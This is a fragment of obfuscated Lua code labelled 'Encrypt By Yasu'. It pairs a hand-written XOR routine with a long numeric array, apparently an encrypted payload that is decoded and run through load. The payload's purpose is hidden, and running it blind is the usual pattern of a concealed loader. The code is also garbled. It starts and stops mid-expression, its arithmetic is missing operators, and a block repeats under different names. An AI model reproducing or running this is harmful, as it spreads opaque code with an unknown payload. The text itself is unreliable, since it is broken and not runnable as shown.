byte=string.byte(sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS, i);local quibit=string.byte(mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE,(i-1)%#mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE+1);ciphertext=ciphertext..string.char(bit.bxor(byte,quibit));end;return ciphertext;end;bit={bxor=function(a,b)local r,m=0,1;while a>0 and b>0 do local aa,bb=a%2,b%2;r=r+m((aa+bb)%2);m=m2;a=math.floor(a/2);b=math.floor(b/2) end;if a>0 then r=r+ma end;if b>0 then r=r+mb end;return r;end};xor(aubJamUKWiSvuwbmieScaqrBBfDKYEwjQovlamPhnKRdFHkUwIOhYzbwexRpRlTuKzxwhebMlHcVcPIaAnpoSgzCkxUrFhPDSRbdSTCjviVEMDwiAjhmVFJkYlhBNQln)BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMiz="Encrypt By Yasu";_ENV={string=string,table=table,math=math,pairs=pairs,load=load,print=print};dvirqrXjUeVtVMYSqKIljguObGrTFWqJXCzBCrzmKiHdBVvOetwwOPKHYQfHmDfnfqcFWjAzseyeBRkJSQxuLKWaYlTzhKNTXTKPmkLpgDRfrqFKndXXMRmVIRyCyZPZ="VbdSOuPEDJccwCuBIaNoqScYPcuzAYrqyvizGZjtqWazBNFCtOgDpkImGAIonsViXbnHnOYwlqnAdAZVvLPZMESdLaQZMbBQytgMaNHnvtUrwWcAuAjYkIxUoiGAMuCW";VbdSOuPEDJccwCuBIaNoqScYPcuzAYrqyvizGZjtqWazBNFCtOgDpkImGAIonsViXbnHnOYwlqnAdAZVvLPZMESdLaQZMbBQytgMaNHnvtUrwWcAuAjYkIxUoiGAMuCW="dvirqrXjUeVtVMYSqKIljguObGrTFWqJXCzBCrzmKiHdBVvOetwwOPKHYQfHmDfnfqcFWjAzseyeBRkJSQxuLKWaYlTzhKNTXTKPmkLpgDRfrqFKndXXMRmVIRyCyZPZ";BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi={75,100,119,68,112,98,117,69,89,69,88,74,118,89,122,107,83,69,68,119,70,118,85,105,98,81,81,80,65,81,72,69,108,109,98,84,118,83,99,82,112,71,108,100,111,113,114,116,118,74,121,86,85,114,74,101,81,79,84,111,117,116,108,77,113,89,113,87,112,98,114,116,116,119,89,115,98,80,106,108,90,97,120,88,78,110,100,70,109,112,111,76,79,98,84,108,102,109,112,78,112,109,121,79,97,69,85,89,119,107,86,122,116,65,65,84,87,115,112,80,67,86,81,86,78,89,77,80};function xor(t)local ciphertext="";for i=1,#VbdSOuPEDJccwCuBIaNoqScYPcuzAYrqyvizGZjtqWazBNFCtOgDpkImGAIonsViXbnHnOYwlqnAdAZVvLPZMESdLaQZMbBQytgMaNHnvtUrwWcAuAjYkIxUoiGAMuCW do local byte=string.byte(VbdSOuPEDJccwCuBIaNoqScYPcuzAYrqyvizGZjtqWazBNFCtOgDpkImGAIonsViXbnHnOYwlqnAdAZVvLPZMESdLaQZMbBQytgMaNHnvtUrwWcAuAjYkIxUoiGAMuCW, i);local quibit=string.byte(dvirqrXjUeVtVMYSqKIljguObGrTFWqJXCzBCrzmKiHdBVvOetwwOPKHYQfHmDfnfqcFWjAzseyeBRkJSQxuLKWaYlTzhKNTXTKPmkLpgDRfrqFKndXXMRmVIRyCyZPZ,(i-1)%#dvirqrXjUeVtVMYSqKIljguObGrTFWqJXCzBCrzmKiHdBVvOetwwOPKHYQfHmDfnfqcFWjAzseyeBRkJSQxuLKWaYlTzhKNTXTKPmkLpgDRfrqFKndXXMRmVIRyCyZPZ+1);ciphertext=ciphertext..string.char(bit.bxor(byte,quibit));end;return ciphertext;end;bit={bxor=function(a,b)local r,m=0,1;while a>0 and b>0 do local aa,bb=a%2,b%2;r=r+m((aa+bb)%2);m=m2;a=math.floor(a/2);b=math.floor(b/2) end;if a>0 then r=r+ma end;if b>0 then r=r+mb end;return r;end};xor(BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi)BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMiz="Encrypt By Yasu";VbdSOuPEDJccwCuBIaNoqScYPcuzAYrqyvizGZjtqWazBNFCtOgDpkImGAIonsViXbnHnOYwlqnAdAZVvLPZMESdLaQZMbBQytgMaNHnvtUrwWcAuAjYkIxUoiGAMuCW={189,198,222,200,229,129,192,202,178,205,211,207,226,106,129,171,135,231,146,193,202,130,142,159,129,210,185,207,226,135,214,136,173,211,201,198,127,107,123,84,202,226,204,224,147,108,162,130,220,127,107,142,106,129,142,226,225,129,185,202,130,158,146,131,197,185,211,218,203,147,108,187,200,205,131,158,129,215,174,129,171,135,165,84,126,145,130,198,223,208,226,175,129,171,135,149,92,134,220,209,211,222,197,205,182,208,209,210,173,81,124,150,147,154,164,154,167,124,153,163,152,172,89,126,154,154,147,162,159,144,199,141,123,113,147,64,108,133,221,207,211,206,211,106,158,142,137,195,133,188,213,199,211,146,181,224,175,198,144,147,147,137,176,133,159,129,166,150,166,126,141,142,204,224,143,192,202,130,158,146,131,170,132,209,211,215,227,133,190,196,214,211,215,198,168,123,145,159,152,172,83,124,149,148,145,170,148,164,127,149,162,156,165,82,138,135,223,141,127,107,142,106,129,142,226,225,129,185,202,130,158,146,131,190,175,209,222,204,229,64,160,215,199,198,146,180,211,175,197,144,147,147,137,176,133,159,129,166,150,166,127,141,142,204,224,143,192,202,130,158,146,131,170,132,209,211,215,227,133,190,196,214,211,215,198,205,189,198,211,203,173,81,124,150,147,154,165,145,158,127,146,165,155,167,83,131,153,154,145,167,159,144,199,141,123,113,240,64,121,146,130,173,219,212,226,106,208,212,135,220,148,177,210,130,202,224,199,123,84,110,120,211,220,147,192,133,159,129,237,222,123,84,213,224,204,216,64,137,133,221,222,127,107,229,171,204,226,220,147,93,108,224,223,110,124,216,221,188,205,210,218,147,93,108,224,223,110,124,199,221,189,212,215,211,147,93,108,224,223,110,124,213,215,182,198,176,217,216,129,183,133,159,129,237,222,123,84,205,221,214,227,64,137,133,146,110,124,209,224,185,199,215,219,147,93,108,149,111,107,222,202,225,190,175,221,222,147,93,108,150,111,107,229,213,224,161,194,217,219,232,64,137,133,132,131,127,107,226,106,158,142,214,230,78,192,206,207,198,154,138,123,84,212,226,200,229,148,108,162,130,163,225,213,201,177,198,226,169,226,148,116,142,144,207,211,206,211,132,214,222,215,216,146,116,142,191,143,229,213,207,188,213,180,217,226,141,89,111,213,213,225,209,142,135,129,145,169,226,148,167,204,199,213,180,208,226,114,138,156,213,212,141,177,159,215,209,226,198,224,114,138,203,149,234,143,190,209,198,173,219,212,226,87,107,216,200,225,135,191,184,206,208,230,129,171,106,163,221,219,206,135,177,217,164,208,230,137,151,120,207,207,212,216,90,193,213,210,198,228,137,151,167,143,216,200,225,135,191,184,206,208,230,110,120,174,208,221,217,185,129,190,210,130,158,146,163,221,190,188,213,204,231,98,187,217,138,138,160,207,207,183,198,168,220,227,144,177,215,138,138,207,143,210,185,208,224,173,212,146,185,114,108,216,225,211,218,174,173,215,218,231,64,137,133,164,208,230,188,213,175,213,176,214,231,72,117,147,208,194,223,198,168,191,209,222,204,229,72,117,194,144,216,225,211,218,174,173,215,218,231,45,86,217,209,213,211,205,186,179,212,226,135,176,64,111,167,209,213,205,200,211,190,163,221,219,155,73,122,211,195,206,215,155,227,186,209,211,217,155,73,169,147,217,208,228,205,210,150,202,225,219,128,42,193,213,201,211,211,197,211,140,194,209,210,227,129,175,208,130,158,146,163,221,190,188,213,204,231,98,187,217,138,138,160,207,207,183,198,168,220,227,144,177,215,138,138,207,143,227,186,200,224,200,215,133,142,198,197,204,226,194,209,181,110,120,116,125,147,184,202,199,209,154,203,207,184,200,225,186,223,143,192,133,140,129,182,198,218,171,218,179,223,216,73,89,111,111,107,230,202,218,175,175,227,212,213,133,190,133,159,129,163,129,123,84,196,227,218,231,143,185,185,203,205,215,129,171,106,199,207,211,230,133,108,114,108,196,231,212,226,185,206,198,135,176,64,124,133,111,107,213,214,225,190,208,219,192,147,93,108,149,130,110,124,211,221,185,213,142,164,147,134,173,209,213,198,127,107,216,185,202,220,190,226,146,184,201,163,199,230,198,224,157,213,221,217,216,64,137,133,200,194,222,212,211,106,110,120,222,226,146,184,201,182,208,188,208,215,184,129,171,135,238,66,195,212,212,205,214,146,144,199,129,123,113,221,143,181,211,166,198,222,194,231,106,158,142,156,163,80,124,133,111,107,228,198,225,190,194,224,219,199,137,185,202,212,129,175,129,226,188,214,211,135,128,42,175,218,213,213,225,206,193,178,208,229,135,176,64,178,198,206,212,215,129,123,84,212,214,214,234,108,181,216,214,129,175,129,161,106,110,120,206,226,143,176,216,130,158,146,220,167,130,141,142,152,171,76,108,152,148,141,146,151,161,125,151,154,135,172,86,128,149,223,129,159,142,142,147,213,211,212,147,151,180,206,214,198,222,202,225,190,129,150,203,226,142,115,217,130,198,214,202,226,115,110,120,116,125,134,187,215,130,202,146,158,142,189,213,207,217,231,76,111,220,209,211,222,197,186,179,212,226,135,215,143,89,111,130,129,146,129,226,171,195,218,204,161,137,186,216,199,211,230,137,229,185,211,218,203,230,76,195,212,212,205,214,173,215,189,213,201,208,208,73,89,111,199,207,214,110,120,87,107,215,205,147,140,187,212,210,202,224,200,142,190,201,211,213,128,42,108,133,130,129,216,208,224,106,202,142,164,147,80,120,216,214,194,228,213,142,119,129,159,135,215,143,89,111,130,129,146,129,142,106,129,142,219,212,130,184,202,144,202,224,212,211,188,213,150,222,226,146,184,201,213,141,233,208,224,182,197,186,208,230,148,167,206,191,138,127,107,142,106,129,142,204,225,132,89,111,199,207,214,110,120,87,107,212,214,229,64,171,145,210,194,213,204,142,179,207,142,215,212,137,190,216,138,209,211,196,217,150,202,225,219,156,64,176,212,111,107,146,129,142,106,213,207,201,223,133,122,206,208,212,215,211,226,114,200,221,214,215,147,120,213,195,196,221,138,123,84,198,220,203,128,42,89,111,200,208,228,129,215,106,158,142,212,212,148,180,147,200,205,225,208,224,114,213,215,211,216,110,193,210,196,198,228,144,160,115,141,159,147,160,81,108,201,209,110,124,129,142,106,129,215,135,176,64,181,133,140,129,159,146,123,84,129,142,135,147,148,173,199,206,198,160,202,220,189,198,224,219,155,148,181,209,199,163,228,198,207,181,141,215,144,128,42,177,211,198,110,124,199,221,188,129,215,135,176,64,124,145,130,206,211,213,214,120,196,211,208,223,72,192,206,206,198,192,214,219,172,198,224,150,165,73,108,146,130,146,146,197,221,87,107,142,135,147,64,192,198,196,205,215,143,215,184,212,211,217,231,72,192,206,206,198,180,211,211,171,204,154,208,156,45,86,202,208,197,127,107,123,84,202,212,135,155,147,180,212,217,173,219,212,226,106,142,142,152,156,64,138,162,130,132,233,208,224,182,197,186,208,230,148,108,217,202,198,224,110,120,106,129,142,135,214,149,191,217,209,206,197,201,221,193,129,171,135,217,129,184,216,199,110,124,198,220,174,110,120,116,125,137,178,133,208,208,230,129,210,175,213,211,202,231,102,173,215,207,194,212,205,211,106,213,214,204,225,45,86,133,130,129,146,213,207,172,205,211,149,220,142,191,202,212,213,154,200,221,185,197,225,147,220,148,185,174,198,138,127,107,142,106,129,142,219,212,130,184,202,144,202,224,212,211,188,213,150,206,226,143,176,216,142,202,230,206,193,175,198,210,144,128,42,177,211,198,110,124,110,120,87,107,212,220,225,131,192,206,209,207,146,202,220,173,205,227,203,216,147,154,218,207,195,215,211,150,190,194,208,211,216,76,108,211,215,206,212,198,224,115,110,120,135,147,64,108,203,209,211,146,192,154,184,214,219,135,220,142,108,213,195,202,228,212,150,190,194,208,211,216,73,108,201,209,110,124,129,142,106,129,142,135,147,64,181,203,130,207,231,206,142,135,158,142,213,232,141,174,202,212,129,230,201,211,184,110,120,135,147,64,108,133,130,129,146,129,142,106,129,224,204,231,149,190,211,130,213,228,214,211,87,107,142,135,147,64,108,133,130,129,215,207,210,87,107,142,135,147,64,177,211,198,110,124,129,142,106,129,224,204,231,149,190,211,130,199,211,205,225,175,110,120,204,225,132,89,111,111,107,216,214,220,173,213,215,214,225,64,150,198,208,200,229,181,211,182,198,150,223,159,153,120,201,199,205,211,218,151,87,107,142,135,147,64,184,212,197,194,222,129,222,194,129,171,135,224,129,192,205,144,199,222,208,221,188,137,213,204,231,98,187,217,138,138,160,217,157,125,147,151,116,125,64,108,133,130,205,225,196,207,182,129,222,224,147,93,108,210,195,213,218,143,212,182,208,221,217,155,135,177,217,164,208,230,137,151,120,218,157,154,165,73,89,111,130,129,146,129,218,185,196,207,211,147,131,187,212,212,217,146,158,142,194,142,222,223,128,42,108,133,130,129,222,208,209,171,205,142,202,226,143,190,222,130,158,146,218,155,186,218,123,113,147,64,108,133,203,199,146,196,221,185,211,231,135,177,64,129,133,214,201,215,207,123,84,129,142,135,147,64,108,133,130,199,225,211,142,179,129,171,135,163,76,108,210,195,213,218,143,212,182,208,221,217,155,131,187,212,212,218,161,149,151,174,208,123,113,147,64,108,133,130,129,146,129,142,106,129,142,215,236,64,137,133,210,218,146,140,142,126,110,120,135,147,64,108,133,130,129,146,129,142,106,129,225,211,216,133,188,141,147,150,162,138,123,84,129,142,135,147,64,108,133,130,129,146,129,142,176,202,220,203,195,129,192,205,138,209,234,141,222,195,141,210,204,223,129,197,142,111,107,146,129,142,106,129,142,135,147,133,186,201,111,107,146,129,142,106,198,218,218,216,137,178,133,197,208,225,211,231,106,157,155,155,147,148,180,202,208,110,124,129,142,106,129,142,135,147,64,178,212,212,129,219,129,171,106,146,154,135,147,141,173,217,202,143,216,205,221,185,211,150,202,226,143,190,222,145,142,166,138,142,174,208,123,113,147,64,108,133,130,129,146,129,142,106,129,142,215,236,64,137,133,210,218,146,142,142,126,110,120,135,147,64,108,133,130,129,146,129,142,106,129,225,211,216,133,188,141,147,150,162,138,123,84,129,142,135,147,64,108,133,130,129,146,129,142,176,202,220,203,195,129,192,205,138,209,234,141,222,195,141,210,204,223,129,197,142,111,107,146,129,142,106,129,142,135,147,133,186,201,111,107,146,129,142,106,198,220,203,128,42,108,133,130,129,219,199,142,173,208,221,217,235,64,138,133,151,129,230,201,211,184,110,120,135,147,64,108,133,130,129,146,199,221,188,129,215,135,176,64,125,145,130,206,211,213,214,120,199,218,214,226,146,116,200,209,208,228,217,157,126,138,210,214,128,42,108,133,130,129,146,129,142,106,129,142,135,147,144,196,133,159,129,226,217,142,117,129,162,116,125,64,108,133,130,129,146,129,142,106,129,142,135,230,140,177,202,210,137,163,150,158,115,110,120,135,147,64,108,133,130,129,146,129,142,106,129,212,208,225,132,156,198,214,201,154,209,230,118,209,231,147,215,133,184,198,219,138,127,107,142,106,129,142,135,147,64,108,202,208,197,127,107,142,106,129,142,204,223,147,177,206,200,129,213,208,221,188,217,142,163,160,84,108,217,202,198,224,110,120,106,129,142,135,147,64,108,133,200,208,228,129,215,106,158,142,152,159,64,108,210,195,213,218,143,212,182,208,221,217,155,131,187,212,212,217,161,142,162,115,129,210,214,128,42,108,133,130,129,146,129,142,106,129,142,135,147,144,196,133,159,129,226,217,142,119,129,162,116,125,64,108,133,130,129,146,129,142,106,129,142,135,230,140,177,202,210,137,163,150,158,115,110,120,135,147,64,108,133,130,129,146,129,142,106,129,212,208,225,132,156,198,214,201,154,209,230,118,209,231,147,215,133,184,198,219,138,127,107,142,106,129,142,135,147,64,108,202,208,197,127,107,142,106,129,142,204,225,132,89,111,130,129,146,129,212,179,207,210,183,212,148,180,141,218,141,235,141,210,175,205,207,224,156,45,86,202,208,197,127,107,123,84,199,227,213,214,148,181,212,208,129,214,198,226,175,196,226,143,156,45,86,133,130,129,146,205,221,173,194,218,135,230,148,187,215,199,129,175,129,233,199,110,120,135,147,64,108,209,209,196,211,205,142,173,208,227,213,231,64,137,133,146,110,124,129,142,106,129,212,214,229,64,171,145,214,202,222,198,142,179,207,142,215,212,137,190,216,138,200,215,213,194,179,205,211,218,155,73,117,133,198,208,127,107,142,106,129,142,135,147,64,108,206,200,129,230,202,218,175,143,212,211,212,135,191,133,159,158,146,145,142,171,207,210,135,231,137,184,202,144,199,217,129,236,135,129,158,135,231,136,177,211,111,107,146,129,142,106,129,142,135,147,64,108,133,130,202,216,129,225,190,208,224,204,206,148,181,209,199,143,216,200,203,106,213,214,204,225,45,86,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,229,213,221,188,198,201,219,220,140,177,147,200,200,207,143,209,185,214,220,219,147,93,108,216,214,208,228,198,201,190,202,218,204,161,134,179,194,144,196,225,214,220,190,129,153,135,164,45,86,133,130,129,146,129,142,106,129,142,135,147,64,177,209,213,198,127,107,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,225,219,226,146,177,192,214,202,222,198,156,176,200,203,135,176,64,199,203,201,129,175,129,226,179,205,211,149,217,135,120,133,197,208,231,207,226,106,158,142,152,240,45,86,133,130,129,146,129,142,106,129,142,135,147,64,177,211,198,110,124,129,142,106,129,142,135,147,64,177,211,198,110,124,129,142,106,129,211,213,215,45,86,133,130,129,146,199,221,188,129,205,147,231,137,184,202,130,202,224,129,222,171,202,224,218,155,147,192,212,212,198,155,129,210,185,110,120,135,147,64,108,133,130,129,146,202,212,106,213,215,211,216,78,175,212,215,207,230,129,172,106,196,221,220,225,148,108,217,202,198,224,110,120,106,129,142,135,147,64,108,133,130,129,146,129,209,185,214,220,219,147,93,108,217,203,205,215,143,209,185,214,220,219,128,42,108,133,130,129,146,129,142,106,129,142,135,147,137,192,210,181,198,215,197,142,135,129,226,208,223,133,122,203,201,110,124,129,142,106,129,142,135,147,64,108,133,130,129,219,213,219,147,197,142,164,147,137,192,210,181,198,215,197,142,119,129,159,116,125,64,108,133,130,129,146,129,142,175,207,210,116,125,64,108,133,130,198,224,197,123,84,129,142,135,147,137,178,133,208,208,230,129,215,184,196,218,220,215,133,191,179,215,206,212,198,224,114,200,221,214,215,147,120,206,214,206,187,197,151,106,213,214,204,225,45,86,133,130,129,146,129,142,106,129,226,200,213,140,177,147,203,207,229,198,224,190,137,213,214,226,132,191,145,203,213,223,170,210,115,110,120,135,147,64,108,202,208,197,127,107,142,106,129,142,208,217,64,186,212,214,129,219,207,209,182,214,210,204,230,110,193,210,196,198,228,137,213,185,208,210,218,159,137,192,210,181,198,215,197,151,106,213,214,204,225,45,86,133,130,129,146,129,142,106,129,226,200,213,140,177,147,203,207,229,198,224,190,137,213,214,226,132,191,145,203,213,223,180,211,175,197,151,116,125,64,108,133,130,198,224,197,123,84,198,220,203,128,42,89,111,200,214,224,196,226,179,208,220,135,224,134,116,221,219,138,127,107,142,106,129,142,217,216,148,193,215,208,129,223,194,226,178,143,212,211,226,143,190,141,218,218,146,144,142,125,147,151,116,125,133,186,201,111,107,127,107,212,191,207,209,219,220,143,186,133,210,214,224,196,214,171,137,151,116,125,64,108,133,130,199,225,211,142,179,158,162,147,164,76,121,150,130,197,225,110,120,106,129,142,135,227,149,186,200,202,137,163,141,158,115,110,120,135,147,64,108,216,206,198,215,209,150,125,145,158,144,128,42,108,133,130,129,215,207,210,87,107,142,135,147,64,177,211,198,110,124,129,142,106,129,123,113,147,64,108,133,200,214,224,196,226,179,208,220,135,230,133,183,206,210,137,155,110,120,106,129,142,135,230,140,177,202,210,137,164,145,158,122,138,123,113,147,64,108,133,213,198,224,197,190,171,196,217,204,231,72,110,203,214,214,215,192,225,190,194,224,219,210,144,187,213,215,209,209,196,218,185,212,211,137,159,82,117,114,108,129,146,129,142,189,205,211,204,227,72,126,149,146,145,155,110,120,106,129,142,135,189,129,186,204,213,181,215,205,211,114,153,164,147,166,80,117,114,108,129,146,129,142,189,205,211,204,227,72,126,149,146,145,155,110,120,106,129,142,135,216,142,192,202,212,137,155,110,120,106,129,142,135,230,140,177,202,210,137,165,145,158,122,138,123,113,147,64,108,133,172,194,224,200,225,158,198,218,204,155,84,130,145,148,148,155,110,120,106,129,142,135,230,140,177,202,210,137,164,145,158,122,138,123,113,147,64,108,133,210,214,224,196,214,171,137,151,116,125,64,108,133,130,209,222,194,209,175,137,160,147,164,76,124,142,111,107,146,129,142,106,212,218,204,216,144,116,151,146,145,162,138,123,84,129,142,135,147,144,193,211,197,201,211,137,151,87,107,142,135,147,64,175,212,206,205,215,196,226,157,198,226,143,231,146,193,202,142,147,155,110,120,106,129,142,135,230,140,177,202,210,137,164,145,158,122,138,123,113,147,64,108,133,210,205,211,196,211,114,148,154,152,159,80,117,114,108,129,146,129,142,189,205,211,204,227,72,126,149,146,145,155,110,120,106,129,142,135,227,140,173,200,199,137,163,145,164,129,147,154,152,159,80,117,114,108,129,146,129,142,189,205,211,204,227,72,126,149,146,145,155,110,120,106,129,142,135,227,149,186,200,202,137,163,141,158,115,110,120,135,147,64,108,216,206,198,215,209,150,124,145,158,151,156,45,86,133,130,129,146,216,211,171,211,150,155,171,73,89,111,130,129,146,129,225,182,198,211,215,155,82,124,149,146,138,127,107,142,106,129,142,202,226,140,184,202,197,213,197,198,226,114,199,207,211,230,133,120,151,139,110,124,129,142,106,129,225,211,216,133,188,141,148,145,162,145,151,87,107,142,135,147,64,191,202,208,197,194,194,209,181,198,226,143,149,129,175,217,203,208,224,221,223,191,202,226,198,231,143,171,202,218,202,230,131,154,125,138,123,113,147,64,108,133,213,205,215,198,222,114,147,158,151,163,73,89,111,130,129,146,129,226,185,213,194,223,231,64,137,133,132,131,127,107,142,106,129,142,205,226,146,108,206,130,158,146,146,167,118,146,154,148,164,64,176,212,111,107,146,129,142,106,213,221,219,199,152,192,133,159,129,230,208,226,158,217,226,149,161,147,192,215,203,207,217,143,209,178,194,224,143,224,129,192,205,144,211,211,207,210,185,206,150,160,170,76,125,151,148,138,155,110,120,106,129,142,135,216,142,176,114,108,129,146,129,142,189,198,220,203,195,129,175,208,199,213,154,131,207,173,213,215,214,225,156,182,212,203,207,209,211,211,187,214,211,218,231,124,186,211,195,206,215,221,144,106,143,156,219,226,148,160,221,214,143,160,131,202,184,202,220,221,220,148,177,201,185,208,228,205,210,198,145,144,147,166,73,89,111,130,129,146,129,225,182,198,211,215,155,83,124,149,146,138,127,107,142,106,129,142,215,223,129,175,202,138,154,168,149,158,118,145,154,148,164,73,89,111,130,129,146,129,225,182,198,211,215,155,82,124,149,146,138,127,107,142,106,129,142,204,225,132,89,111,130,129,146,129,123,84,129,142,135,147,134,193,211,197,213,219,208,220,106,206,207,208,225,72,117,114,108,129,146,129,142,177,198,226,169,226,148,116,142,144,206,225,215,211,169,202,220,219,216,146,194,198,206,129,175,129,163,122,145,123,113,147,64,108,133,213,198,221,202,222,114,138,123,113,147,64,108,133,213,205,215,198,222,114,147,158,151,163,73,89,111,130,129,146,129,211,184,197,123,113,128,42,178,218,208,196,230,202,221,184,129,208,211,155,151,187,215,206,197,155,110,120,106,129,142,135,213,140,181,216,214,129,175,129,233,199,110,120,135,147,64,108,203,209,212,229,202,218,165,216,221,217,223,132,169,133,159,129,162,110,120,106,129,142,135,217,143,190,133,193,141,230,202,218,175,129,215,213,147,144,173,206,212,212,154,200,211,190,181,215,211,216,147,116,142,139,129,214,208,123,84,129,142,135,147,64,108,133,130,202,216,129,226,179,205,211,149,217,135,108,162,159,129,168,129,226,178,198,220,116,125,64,108,133,130,129,146,129,142,106,129,142,135,215,143,187,215,186,129,175,129,226,179,205,211,149,235,45,86,133,130,129,146,129,142,106,129,142,135,147,64,176,212,209,211,203,129,171,106,213,215,211,216,78,197,114,108,129,146,129,142,106,129,142,135,216,140,191,202,203,199,146,213,215,182,198,156,205,218,64,137,162,130,148,171,146,166,106,213,214,204,225,45,86,133,130,129,146,129,142,106,129,142,135,147,64,178,212,213,212,219,205,201,193,208,224,211,215,125,108,162,130,199,225,212,225,179,205,201,222,226,146,184,201,191,129,157,129,159,87,107,142,135,147,64,108,133,130,129,215,207,210,87,107,142,135,147,64,177,211,198,110,124,129,142,106,129,215,205,147,130,184,198,197,204,222,202,225,190,181,215,211,216,64,192,205,199,207,127,107,142,106,129,142,135,147,64,108,203,209,211,146,192,154,190,202,218,204,147,137,186,133,210,194,219,211,225,114,195,218,200,214,139,184,206,213,213,155,129,210,185,110,120,135,147,64,108,133,130,129,146,129,142,106,129,226,200,213,140,177,147,203,207,229,198,224,190,137,208,211,220,147,192,145,221,217,146,158,142,174,208,221,217,203,64,119,133,214,202,222,198,156,194,141,142,224,147,93,108,201,209,208,228,186,142,117,129,226,208,223,133,122,222,223,138,127,107,142,106,129,142,135,147,64,108,202,208,197,127,107,142,106,129,142,204,225,132,89,111,199,207,214,110,120,87,107,212,220,225,131,192,206,209,207,146,213,215,182,198,190,220,225,131,180,141,218,141,235,138,123,84,129,142,135,147,134,187,215,130,192,158,207,227,183,129,215,213,147,144,173,206,212,212,154,213,215,182,198,176,217,216,129,183,142,130,197,225,110,120,106,129,142,135,147,64,108,133,203,199,146,200,211,190,181,215,211,216,72,196,133,143,129,163,141,231,106,140,142,213,232,141,117,147,200,200,146,223,171,106,145,142,214,229,64,179,202,214,181,219,205,211,114,217,142,148,147,81,120,222,130,140,146,207,227,183,138,156,201,218,64,202,162,130,145,146,213,214,175,207,123,113,147,64,108,133,130,129,146,129,142,106,129,142,217,216,148,193,215,208,129,230,211,227,175,110,120,135,147,64,108,133,130,129,146,198,220,174,110,120,135,147,64,108,202,208,197,127,107,142,106,129,142,217,216,148,193,215,208,129,216,194,218,189,198,123,113,216,142,176,114,108,110,124,199,227,184,196,226,208,226,142,108,217,203,205,215,177,218,171,196,211,143,235,76,197,142,111,107,146,129,142,106,199,221,217,147,127,120,211,215,206,146,202,220,106,209,207,208,229,147,116,217,203,205,215,163,224,175,194,217,144,147,132,187,114,108,129,146,129,142,106,129,142,135,220,134,108,204,199,213,198,202,218,175,137,230,135,160,64,125,145,219,129,157,129,220,191,206,151,149,217,135,108,162,159,129,162,129,207,184,197,142,206,216,148,160,206,206,198,154,217,142,119,129,159,147,236,64,119,133,208,214,223,138,156,172,200,142,164,176,64,124,133,214,201,215,207,123,84,129,142,135,147,64,108,133,130,129,146,129,142,188,198,226,220,229,142,108,217,212,214,215,110,120,106,129,142,135,147,64,108,133,199,207,214,110,120,106,129,142,135,216,142,176,114,108,129,146,129,142,188,198,226,220,229,142,108,203,195,205,229,198,123,84,198,220,203,128,42,89,111,200,214,224,196,226,179,208,220,135,214,136,177,200,205,137,234,141,231,115,110,120,135,147,64,108,203,209,211,146,192,154,190,202,218,204,147,137,186,133,210,194,219,211,225,114,195,218,208,230,148,117,133,198,208,127,107,142,106,129,142,135,147,64,108,206,200,129,234,129,171,135,129,226,208,223,133,122,221,130,194,224,197,142,195,129,171,164,147,148,181,209,199,143,235,129,226,178,198,220,116,125,64,108,133,130,129,146,129,142,106,129,142,135,229,133,192,218,212,207,146,199,207,182,212,211,116,125,64,108,133,130,129,146,129,142,175,207,210,116,125,64,108,133,130,198,224,197,123,84,129,142,135,147,146,177,217,215,211,224,129,226,188,214,211,116,125,133,186,201,111,107,127,107,212,191,207,209,219,220,143,186,133,217,194,228,209,150,193,208,224,211,215,76,181,201,139,110,124,129,142,106,129,209,214,222,64,137,133,146,110,124,129,142,106,129,229,207,220,140,177,133,201,198,230,163,221,190,137,151,149,234,143,190,209,198,129,240,158,142,193,208,224,211,215,90,193,213,210,198,228,137,151,106,194,220,203,147,142,187,217,130,207,231,204,211,174,129,210,214,128,42,108,133,130,129,146,129,142,106,216,214,208,223,133,108,204,199,213,180,208,226,114,138,156,218,231,129,192,218,213,129,240,158,142,108,208,220,211,220,142,177,135,130,197,225,110,120,106,129,142,135,147,64,108,133,130,129,146,129,209,185,207,220,204,214,148,116,142,111,107,146,129,142,106,129,142,135,147,64,108,133,130,212,222,198,211,186,137,163,151,163,80,117,114,108,129,146,129,142,106,129,142,135,216,142,176,114,108,129,146,129,142,106,129,142,135,230,133,186,201,178,194,213,204,211,190,137,144,200,214,148,181,212,208,221,220,208,215,184,192,224,204,228,149,177,216,214,189,224,207,207,183,198,234,137,161,78,195,212,212,205,214,155,227,186,209,211,217,155,73,122,147,132,189,224,202,220,192,202,226,204,215,119,187,215,206,197,238,145,144,118,148,151,116,125,64,108,133,130,129,146,129,142,189,205,211,204,227,72,129,149,146,145,155,110,120,106,129,142,135,147,64,108,133,203,199,146,196,221,181,129,171,164,147,81,124,133,214,201,215,207,123,84,129,142,135,147,64,108,133,130,129,146,129,142,184,214,217,204,215,64,137,133,214,211,231,198,123,84,129,142,135,147,64,108,133,130,198,222,212,211,87,107,142,135,147,64,108,133,130,129,146,129,142,106,196,221,210,147,93,108,200,209,204,146,140,142,123,110,120,135,147,64,108,133,130,129,146,198,220,174,110,120,135,147,64,108,202,208,197,127,107,142,106,129,142,208,217,64,181,201,130,223,175,129,144,108,129,207,213,215,64,186,212,214,12